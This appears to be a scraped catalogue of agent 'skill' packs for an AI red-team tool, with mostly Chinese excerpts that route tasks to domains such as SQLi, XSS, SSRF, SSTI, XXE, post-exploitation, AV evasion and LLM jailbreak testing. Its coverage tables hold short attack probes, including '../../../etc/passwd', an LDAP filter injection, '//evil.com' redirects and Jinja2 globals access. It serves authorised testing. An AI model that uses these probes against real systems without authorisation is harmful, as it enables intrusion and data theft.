本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| WAF 绕过 | 编码/分块/HPP |
| AV 规避 | 加载器/内存执行 |View the complete source on GitHubredteam-file-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized file operation vulnerability testing, including path traversal, arbitrary file read/write/upload, and LFI/RFI. Use when a task belongs to the file vulnerability domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
748 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,071 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 文件上传/包含/读取漏洞测试
## Domain
当前处于 文件上传/包含/读取漏洞测试 领域。
你正在进行文件操作漏洞测试。测试范围仅限文件相关漏洞(含路径穿越、任意文件读取/写入/上传、文件包含 LFI/RFI 等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 路径穿越 | ../../../etc/passwd |
| LFI | include 本地文件 |View the complete source on GitHubredteam-injection-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized general injection testing outside SQL injection, including NoSQL, LDAP, XPath, and expression language injection. Use when a task belongs to the general injection domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
751 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,949 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 通用注入测试
## Domain
当前处于 通用注入测试 领域。
你正在进行通用注入漏洞测试。测试范围涵盖非 SQL 注入类别(含 NoSQL 注入、LDAP 注入、XPath 注入、表达式语言注入等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| NoSQL 注入 | MongoDB $ne/$regex |
| LDAP 注入 | )(|(uid=*) |View the complete source on GitHubredteam-logic-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized business logic vulnerability testing, including race conditions, flow bypass, price tampering, permission logic errors, and bulk operation abuse. Use when a task belongs to the logic testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
776 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,065 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 业务逻辑漏洞测试
## Domain
当前处于 业务逻辑漏洞测试 领域。
你正在进行业务逻辑漏洞测试。测试范围仅限逻辑缺陷(含竞态条件、流程跳过、价格篡改、权限逻辑错误、批量操作滥用等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 竞态条件 | 双重提交/并发消耗 |
| 流程跳过 | 支付步骤绕过 |View the complete source on GitHubredteam-mobile-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized mobile application security testing, including insecure storage, certificate pinning bypass, exposed components, and binary reverse engineering. Use when a task belongs to the mobile testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
752 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,008 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 移动应用安全测试
## Domain
当前处于 移动应用安全测试 领域。
你正在进行移动应用安全测试。测试范围仅限移动端漏洞(含不安全存储、证书绑定绕过、组件暴露、二进制逆向等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 不安全存储 | SharedPrefs/Keychain 明文 |
| 证书绕过 | SSL Pinning hook |View the complete source on GitHubredteam-network-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized network-layer security testing, including exposed services, protocol downgrade, man-in-the-middle risks, and segmentation bypasses. Use when a task belongs to the network testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
733 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,917 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 网络层渗透测试
## Domain
当前处于 网络层渗透测试 领域。
你正在进行网络层安全测试。测试范围仅限网络漏洞(含端口/服务暴露、协议降级、中间人、网络分段绕过等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 服务暴露 | 未授权访问(Redis/MongoDB) |
| 协议降级 | TLS→明文 |View the complete source on GitHubredteam-open-redirect-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized open redirect testing, including parameter redirects, meta or JavaScript redirects, and OAuth redirect_uri abuse. Use when a task belongs to the open redirect domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
758 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,991 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 开放重定向测试
## Domain
当前处于 开放重定向测试 领域。
你正在进行开放重定向漏洞测试。测试范围仅限 URL 重定向绕过(含参数重定向、Meta/JS 重定向、OAuth redirect_uri 利用等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 参数重定向 | ?url=//evil.com |
| OAuth redirect | redirect_uri 篡改 |View the complete source on GitHubredteam-payload-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized payload construction and weaponization analysis, including shellcode, file format payloads, phishing payloads, and staged or stageless payload choices. Use when a task belongs to the payload construction domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
756 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,975 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# Payload 构造与武器化
## Domain
当前处于 Payload 构造与武器化 领域。
你正在进行 Payload 生成与投递测试。测试范围仅限载荷构造(含 shellcode 生成、文件格式利用、钓鱼载荷、staged/stageless 等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| Shellcode | 编码/加密/syscall |
| 文件格式 | 宏/LNK/ISO/PDF |View the complete source on GitHubredteam-postex-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized post-exploitation testing after initial access, including privilege escalation, persistence, lateral movement, data collection, and cleanup considerations. Use when a task belongs to the post-exploitation domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
760 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,007 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 后渗透利用
## Domain
当前处于 后渗透利用 领域。
你正在进行后渗透阶段测试。测试范围仅限获得初始访问后的操作(含权限提升、持久化、横向移动、数据收集、痕迹清除等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 本地提权 | 内核/SUID/服务错配 |
| 持久化 | 定时任务/启动项/后门 |View the complete source on GitHubredteam-recon-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized reconnaissance and information gathering, including subdomain enumeration, port scanning, directory discovery, fingerprinting, and OSINT. Use when a task belongs to the recon domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
772 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,980 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 信息收集与侦察
## Domain
当前处于 信息收集与侦察 领域。
你正在进行信息收集与侦察。测试范围仅限被动和主动侦察(含子域枚举、端口扫描、目录发现、指纹识别、OSINT 等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 子域枚举 | DNS/CT/爆破 |
| 端口扫描 | TCP/UDP 全端口 |View the complete source on GitHubredteam-recon-intake
When your agent uses it
Recon intake skill for first contact with a bare domain, URL, or IP address. Use to build an initial recon_profile and provide factual inputs for CVE lookup and attack-path routing.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
430 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore1,508 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# Recon Intake
## Domain
裸域名/URL/IP 首次进入安全评估时的侦察入口。
负责从零建立目标资产画像(recon_profile),为后续 CVE Lookup 和攻击路径分配提供事实依据。
阶段顺序:
1. DNS 解析 + 存活探测
2. 端口扫描 + 服务指纹
3. 子域枚举
4. Web 目录/敏感文件探测
5. WAF/CDN 识别
6. 技术栈指纹(CMS/框架/中间件版本)View the complete source on GitHubredteam-reverse-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized reverse engineering analysis, including decompilation, debugging, protocol reversing, firmware extraction, and deobfuscation. Use when a task belongs to the reverse engineering domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
768 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,957 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 逆向工程分析
## Domain
当前处于 逆向工程分析 领域。
你正在进行逆向工程分析。测试范围仅限二进制逆向(含反编译、调试、协议逆向、固件提取、反混淆等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 反编译 | Java/IL/.NET |
| 原生逆向 | x86/ARM IDA/Ghidra |View the complete source on GitHubredteam-sqli-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized SQL injection testing, including union-based, blind, error-based, stacked query, and second-order SQL injection variants. Use when a task belongs to the SQL injection domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
861 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,283 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# SQL 注入测试
## Domain
当前处于 SQL 注入测试 领域。
你正在进行 SQL 注入漏洞测试。测试范围仅限 SQL 注入(含联合注入、盲注、报错注入、堆叠查询、二次注入等变体)。自主选择注入点和 payload。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|---------|
| 联合注入 (UNION) | SELECT 语句可控列数 |View the complete source on GitHubredteam-ssrf-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized SSRF testing, including basic SSRF, blind SSRF, protocol smuggling, and cloud metadata access paths. Use when a task belongs to the SSRF domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
834 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,197 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# SSRF 服务端请求伪造测试
## Domain
当前处于 SSRF 服务端请求伪造测试 领域。
你正在进行 SSRF 漏洞测试。测试范围仅限服务端请求伪造(含基础 SSRF、盲 SSRF、协议走私、云元数据访问等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|---------|
| 基础 SSRF | 直接内网访问 |View the complete source on GitHubredteam-ssti-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized server-side template injection testing, including Jinja2, Twig, Freemarker, Velocity, and Thymeleaf engines. Use when a task belongs to the SSTI domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
847 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,254 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# SSTI 服务端模板注入测试
## Domain
当前处于 SSTI 服务端模板注入测试 领域。
你正在进行服务端模板注入测试。测试范围仅限 SSTI(含 Jinja2、Twig、Freemarker、Velocity、Thymeleaf 等模板引擎)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|------------|
| Jinja2 | {{config.__class__.__init__.__globals__}} |
| Twig | {{_self.env.registerUndefinedFilterCallback}} |View the complete source on GitHubredteam-subdomain-takeover-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized subdomain takeover testing, including dangling CNAME records, NS takeover, and cloud service takeover paths such as S3, Azure, and Heroku. Use when a task belongs to the subdomain takeover domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
770 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,003 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 子域名接管测试
## Domain
当前处于 子域名接管测试 领域。
你正在进行子域接管漏洞测试。测试范围仅限子域名接管(含 CNAME 悬挂、NS 接管、S3/Azure/Heroku 等云服务接管)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| CNAME 悬挂 | 指向已删除服务 |
| NS 接管 | 名称服务器过期 |View the complete source on GitHubredteam-web-detail-pack
When your agent uses it
Routing and boundary guidance for authorized general web application security testing. Use as a web testing router when the attack surface should be dispatched to more specific web vulnerability skills.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
763 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,998 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# Web 综合渗透测试
## Domain
当前处于 Web 综合渗透测试 领域。
你正在进行 Web 应用综合安全测试。本技能作为 Web 测试路由层,根据发现的攻击面分派到具体子域技能。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|----------|
| SQL 注入 | redteam-sqli-detail-pack |
| XSS | redteam-xss-detail-pack |View the complete source on GitHubredteam-xss-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized cross-site scripting testing, including reflected, stored, DOM-based, mXSS, and CSP bypass variants. Use when a task belongs to the XSS domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
846 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,212 bytesSKILL.mdcore3,212 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# XSS 跨站脚本测试
## Domain
当前处于 XSS 跨站脚本测试 领域。
你正在进行 XSS 漏洞测试。测试范围仅限跨站脚本攻击(含反射型、存储型、DOM 型、mXSS、CSP 绕过等变体)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|---------|
| 反射型 XSS | URL 参数回显 |View the complete source on GitHubredteam-xxe-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized XXE testing, including file read, SSRF, blind XXE, and parameter entity variants. Use when a task belongs to the XXE domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
810 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,053 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# XXE XML 外部实体注入测试
## Domain
当前处于 XXE XML 外部实体注入测试 领域。
你正在进行 XXE 漏洞测试。测试范围仅限 XML 外部实体注入(含文件读取、SSRF、盲 XXE、参数实体等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|---------|
| 经典 XXE | 外部实体文件读取 |View the complete source on GitHubsecknowledge-skill
When your agent uses it
Web+AI 安全测试知识库。融合 WooYun 88,636 案例 + 先知 L1-L4 方法论 + GAARM 150 风险 + OWASP Top 10 (LLM/ASI/WSTG)。 TRIGGER when 任务是实战安全测试:渗透测试、漏洞挖掘/利用、红队攻防、安全审计 (SAST/DAST)、 CTF、AI/LLM 安全测试 (Prompt 注入/越狱/MCP/Agent/沙箱逃逸)。用户明确给出测试目标 (URL/代码/模型/Agent 架构) 且意图是"测试/审计/挖漏洞/利用"。 DO NOT trigger: - 安全概念讨论("什么是 XSS"、"SQL 注入原理是什么")→ 普通问答 - 非安全性质的 code review / debug / 性能优化 → code-audit-skill 或其他 - 修复语法错误 / 业务逻辑 bug → 普通编程协助 - 纯 Web 白盒代码审计(完整项目目录 / Source-Sink 污点分析)→ code-audit-skill - 仅引用 CVE 编号查文档 → WebSearch 边界细则: CTF 短代码片段 + 利用思路 → 本 Skill;完整项目目录 + 系统白盒审计 → code-audit-skill
What it loads into context
Frontmatter
373 tokensAlways available to the agent
SKILL.md
4,437 tokensWhen the skill is activated
Reference documents
126,861 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- VulnClaw 集成说明
- 触发条件
- 行为准则(整个会话有效,不因对话长度放松)
- 幻觉防护与来源引用
- 输出约束
- 工具优先级(本 Skill 自用)
- 使用流程
- 场景导航索引
- 零结果处理
- 与其他 Skill 的路由
Files
SKILL.mdcore13,980 bytesreferences/ai-app-agent-cot.mddoc19,923 bytesreferences/ai-app-deploy.mddoc4,639 bytesreferences/ai-app-frontier.mddoc6,377 bytesreferences/ai-app-mcp.mddoc8,848 bytesreferences/ai-app-prompt.mddoc19,159 bytesreferences/ai-app-train.mddoc15,158 bytesreferences/ai-baseline-app.mddoc9,808 bytesreferences/ai-baseline-deploy.mddoc19,841 bytesreferences/ai-baseline-escape.mddoc6,665 bytesreferences/ai-baseline-train.mddoc6,563 bytesreferences/ai-data-app.mddoc34,268 bytesreferences/ai-data-deploy.mddoc7,250 bytesreferences/ai-data-train.mddoc22,125 bytesreferences/ai-identity-app.mddoc33,617 bytesreferences/ai-identity-deploy.mddoc7,316 bytesreferences/ai-identity-train.mddoc5,185 bytesreferences/ai-model-content.mddoc23,471 bytesreferences/ai-model-copyright.mddoc4,870 bytesreferences/ai-model-deploy.mddoc5,826 bytesreferences/ai-model-extraction.mddoc12,678 bytesreferences/ai-model-hallucination.mddoc9,878 bytesreferences/ai-model-jailbreak.mddoc13,758 bytesreferences/ai-model-misuse.mddoc19,252 bytesreferences/ai-model-train.mddoc10,638 bytesreferences/gaarm-risk-matrix.mddoc14,478 bytesreferences/testing-methodology.mddoc25,804 bytesreferences/vulnclaw-ctf-src-routing.mddoc4,007 bytesreferences/web-deployment-security.mddoc15,314 bytesreferences/web-deser.mddoc4,414 bytesreferences/web-leak.mddoc3,377 bytesreferences/web-logic-auth.mddoc16,770 bytesreferences/web-modern-protocols.mddoc10,589 bytesreferences/web-rce.mddoc7,055 bytesreferences/web-sqli-fushuling-one-pass.mddoc7,925 bytesreferences/web-sqli.mddoc7,018 bytesreferences/web-ssrf-misc.mddoc6,126 bytesreferences/web-traversal.mddoc3,551 bytesreferences/web-upload.mddoc5,450 bytesreferences/web-xss.mddoc5,167 bytesreferences/web-xxe.mddoc3,183 bytes
Read SKILL.md
# Web 和 AI 安全测试知识库
> 知识源: WooYun 88,636 漏洞 × 先知 5,600+ 文档 × GAARM 150 AI 风险 × OWASP
> 架构: SKILL.md(路由)→ references/(按场景加载)
## VulnClaw 集成说明
- 本 Skill 集成自 `Pa55w0rd/secknowledge-skill`,在 VulnClaw 中作为 `secknowledge-skill` specialized skill 使用;上游声明为 MIT License。
- CTF/SRC 场景先加载 `references/vulnclaw-ctf-src-routing.md` 判断资料入口,再按漏洞类型加载 `web-*`、`ai-*`、`testing-methodology.md` 或 `gaarm-risk-matrix.md`。
- 与 VulnClaw 现有技能协同:CTF 单题技巧优先结合 `ctf-web`/`ctf-crypto`/`ctf-misc`,SRC 和实战漏洞挖掘优先使用本 Skill 的方法论、案例映射、风险矩阵和证据约束。
- 输出时保留上游的授权边界、引用标注和"假设/确认"区分;未能从 reference 佐证的 payload、CVE、GAARM/OWASP 编号必须明确标注为未核对。
## 触发条件
View the complete source on GitHubweb-pentest
When your agent uses it
Web应用渗透测试 — 针对Web应用的完整渗透流程,含技术栈识别、目录枚举、认证测试、输入验证、逻辑漏洞
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
477 tokensWhen the skill is activated
Reference documents
17,149 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. 技术栈识别
- 2. 目录枚举
- 3. 认证测试
- 4. 输入验证测试
- 5. 逻辑漏洞测试
- 6. 输出
- 参考文档
Files
SKILL.mdcore1,534 bytesreferences/web-injection.mddoc26,581 bytesreferences/web-logic-auth.mddoc16,770 bytesreferences/web-modern-protocols.mddoc10,589 bytes
Read SKILL.md
# Web 应用渗透测试 Skill
针对 Web 应用的专项渗透测试流程,覆盖从信息收集到漏洞验证的完整链路。
**需要更深入的 Web 安全知识?** 使用 `web-security-advanced` Skill,包含完整的注入攻击族、协议安全、Playbook 等。
## 1. 技术栈识别
- 使用 fetch 工具获取 HTTP 响应头
- 使用 chrome-devtools 工具分析前端技术
- 识别后端框架和 CMS
## 2. 目录枚举
- 常见目录:/admin, /api, /upload, /config, /backup
- 敏感文件:robots.txt, sitemap.xml, .env, .git/HEADView the complete source on GitHubweb-security-advanced
When your agent uses it
Web高级安全测试 — 注入攻击族、协议安全、认证与逻辑漏洞、文件与部署安全、现代Web攻击面,含完整Playbook
What it loads into context
Frontmatter
201 tokensAlways available to the agent
SKILL.md
1,177 tokensWhen the skill is activated
Reference documents
57,901 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- CTF 场景路由
- 场景路由
- 测试流程
- 参考文档
Files
SKILL.mdcore3,831 bytesreferences/web-ai-attack-map.mddoc562 bytesreferences/web-deployment-security.mddoc15,331 bytesreferences/web-file-infra.mddoc18,303 bytesreferences/web-injection.mddoc26,581 bytesreferences/web-logic-auth.mddoc16,770 bytesreferences/web-modern-protocols.mddoc10,589 bytesreferences/web-playbook-01-clickjacking.mddoc1,397 bytesreferences/web-playbook-02-supply-chain-attacks.mddoc2,272 bytesreferences/web-playbook-03-cache-and-cdn-security.mddoc1,565 bytesreferences/web-playbook-04-open-redirect.mddoc1,554 bytesreferences/web-playbook-05-framework-vulnerabilities.mddoc8,298 bytesreferences/web-playbook-06-request-smuggling.mddoc2,277 bytesreferences/web-playbook-07-authentication-vulnerabilities.mddoc4,441 bytesreferences/web-playbook-08-file-vulnerabilities.mddoc4,322 bytesreferences/web-playbook-09-business-logic-vulnerabilities.mddoc3,552 bytesreferences/web-playbook-10-prototype-pollution.mddoc2,341 bytesreferences/web-playbook-11-cloud-security-vulnerabilities.mddoc2,962 bytesreferences/web-playbook-12-ai-security.mddoc3,212 bytesreferences/web-playbook-13-api-security.mddoc5,524 bytesreferences/web-playbook-14-csrf-cross-site-request-forgery.mddoc3,796 bytesreferences/web-playbook-15-jwt-security.mddoc2,893 bytesreferences/web-playbook-16-lfi-rfi-file-inclusion.mddoc5,495 bytesreferences/web-playbook-17-rce-remote-code-execution.mddoc5,426 bytesreferences/web-playbook-18-sql-nosql-injection.mddoc7,944 bytesreferences/web-playbook-19-ssrf-server-side-request-forgery.mddoc5,531 bytesreferences/web-playbook-20-ssti-template-injection.mddoc4,815 bytesreferences/web-playbook-21-websocket-security.mddoc2,420 bytesreferences/web-playbook-22-xss-cross-site-scripting.mddoc5,342 bytesreferences/web-playbook-23-xxe-entity-injection.mddoc3,683 bytesreferences/web-playbook-24-php-regex-bypass.mddoc3,561 bytesreferences/web-playbook-index.mddoc1,517 bytesreferences/web-security-playbook-openai.yamlasset296 bytesreferences/web-security-playbook-skill.mddoc3,735 bytes
Read SKILL.md
# Web 高级安全测试 Skill
当目标是 Web 应用、API、网关或浏览器面向服务,且需要系统性的漏洞测试时使用本 Skill。
**前置条件**:如果请求仍由客户端控制且重放未稳定,先使用 `client-reverse` Skill。
## CTF 场景路由
> 当目标为 CTF 题目(已知有 flag,需要绕过特定过滤)时,优先使用 `ctf-web` Skill 获取具体绕过值和 payload:
| CTF 场景 | 路由到 ctf-web | 参考文档 |
|---------|---------------|---------|
| PHP 弱比较/类型绕过 | `ctf-web` | `references/php-bypass-cheatsheet.md` |
